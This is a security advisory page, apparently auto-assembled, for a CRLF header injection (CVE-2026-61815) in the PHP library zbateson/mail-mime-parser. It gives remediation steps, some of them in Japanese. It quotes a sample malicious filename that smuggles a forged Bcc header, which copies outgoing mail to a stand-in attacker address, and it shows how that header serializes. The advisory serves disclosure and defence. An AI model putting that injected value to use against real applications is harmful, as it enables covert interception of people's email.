Vulnerability in zbateson/mail-mime-parser (CVE-2026-61815)
Summary
Vulnerability in zbateson/mail-mime-parser (CVE-2026-61815). Risk of unauthorized operations or information disclosure. Exploitable via filename. Mitigation: upgrade to 4.0.2 or later.
Original description
The description as published by the source.
Impact
A CRLF (carriage-return / line-feed) header injection affecting any application that uses this library to build or forward MIME messages with an attacker-influenced attachment filename.
Attachment filenames are interpolated into the Content-Type and Content-Disposition header values without stripping CR/LF, so a filename containing \r\n serializes as one or more additional, attacker-controlled header lines (for example a forged Bcc: that silently exfiltrates a copy of the outgoing message). The untrusted filename can come directly from parsed inbound mail, so no local construction is required — an application that re-attaches or re-sends a parsed filename is exposed.
Details
On the outbound side, MultipartHelper::createAndAddPartForAttachment() sanitizes the filename only with iconv('UTF-8','US-ASCII//translit//ignore', $filename). CR and LF are valid US-ASCII, so they survive that filter, and the value is then written into the header verbatim via MimePart::setRawHeader(). A filename of doc\r\nBcc: attacker@evil.test therefore serializes as:
Content-Disposition: attachment;
filename="doc
Bcc: attacker@evil.test"
The filename value closes after doc, and Bcc: attacker@evil.test stands as its own header line.
The decode side is affected as well, which is what makes purely inbound exploitation possible:
ParameterPart::decodePartValue()rawurldecode()s an RFC 2231filename*=parameter with no control-character stripp…
Source: NIST National Vulnerability Database NVD GitHub Advisory
Auto-generated summary
Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.
A vulnerability tracked as CVE-2026-61815 has been found in zbateson/mail-mime-parser.
Attackers can target a specific entry point like filename over the network to misuse the product.
Risk of unauthorized operations or information disclosure. CVSS score: 7.2/10.
What to do: upgrade zbateson/mail-mime-parser to 4.0.2 or later.
If unsure, ask your IT team or search "zbateson/mail-mime-parser CVE-2026-61815" on the vendor's site.
CVE-2026-61815 (zbateson/mail-mime-parser) — CWE-93 / CVSS v3 7.2
Attack vector: remote (network-reachable) / unauthenticated / no user interaction
Attack surface: filename / doc / MimeToken
Patched: 4.0.2 — apply immediately
Workaround: strip CR and LF from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message — e.
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.
A vulnerability (CWE-93) exists in zbateson/mail-mime-parser. Attackers reach the vulnerable code path via filename without authentication.
Check the vendor advisory for the affected versions of zbateson/mail-mime-parser. Attack surface: filename / doc / MimeToken.
Severity: High (CVSS 7.2/10). Risk of unauthorized operations or information disclosure.
Update to 4.0.2.
Workaround: strip CR and LF from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message — e.
Search webserver/proxy logs for unusual request patterns matching this CVE's known IOCs. Run grep -r 'zbateson/mail-mime-parser' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.
Response actions
Concrete steps and command examples for SOC/SRE teams to execute in order
-
1Identify exposure identify
grep -r 'zbateson/mail-mime-parser' . | grep -v node_modulesリポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で
zbateson/mail-mime-parserを grep し、稼働しているサービス・バージョンを把握する。 -
2Apply temporary workaround mitigate
strip CR and LF from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message — e.パッチが適用されるまでの応急処置として、strip CR and LF from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message — e. を実施。回避策の副作用 (機能低下) を確認した上で。
-
3Apply patch patch
Upgrade zbateson/mail-mime-parser to 4.0.2ステージング環境で 4.0.2 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。
-
4Post-deployment verification verify
Confirm patched version is live in productionパッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。
Affected packages
References
- web security-advisories@github.com
- web nvd.nist.gov
- web github.com
- web github.com
- web github.com
- web github.com
- web github.com